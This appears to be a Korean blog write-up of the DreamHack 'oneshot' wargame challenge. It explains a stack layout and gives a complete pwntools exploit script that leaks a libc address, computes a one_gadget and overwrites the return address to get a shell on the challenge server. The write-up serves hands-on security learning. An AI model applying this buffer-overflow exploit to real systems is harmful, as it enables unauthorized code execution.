코드에서 v5가 0이 아니면 exit을 한다.
따라서 buf(24) | v5(8) | SFP(8) | RET(8)
구조인데 ‘A’*24 + p64(0) + ‘B”*8 + p64(one_gadget)으로 페이로드를 줘서 if 조건을 넘어가고 return 0로 리턴하도록 한다.
#!/usr/bin/python
from pwn import *
context.log_level = 'debug'
#p = process("./oneshot")
p = remote("host1.dreamhack.games", 8246)
elf = ELF("./oneshot")
libc = ELF("./libc.so.6")
one_gadget_off = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
p.recvuntil(": ")
stdout = int(p.recv(14), 16)
libcBase = stdout - 0x3c5620
one_gadget = libcBase + one_gadget_off[0]
log.info("libcBase : "+hex(libcBase))
#gdb.attach(p)
pay = 'A'*(0x20-8) + p64(0) + 'B'*8 + p64(one_gadget)
p.send(pay)
p.interactive()
[DreamHack] basic_rop_x86 (0) | 2020.05.31 |
---|---|
[DreamHack] basic_rop_x64 (0) | 2020.05.31 |
[DreamHack] ssp_001 (0) | 2020.05.31 |
[Dreamhack] ssp_000 (0) | 2020.05.31 |
[Dreamhack] rtld (0) | 2020.05.17 |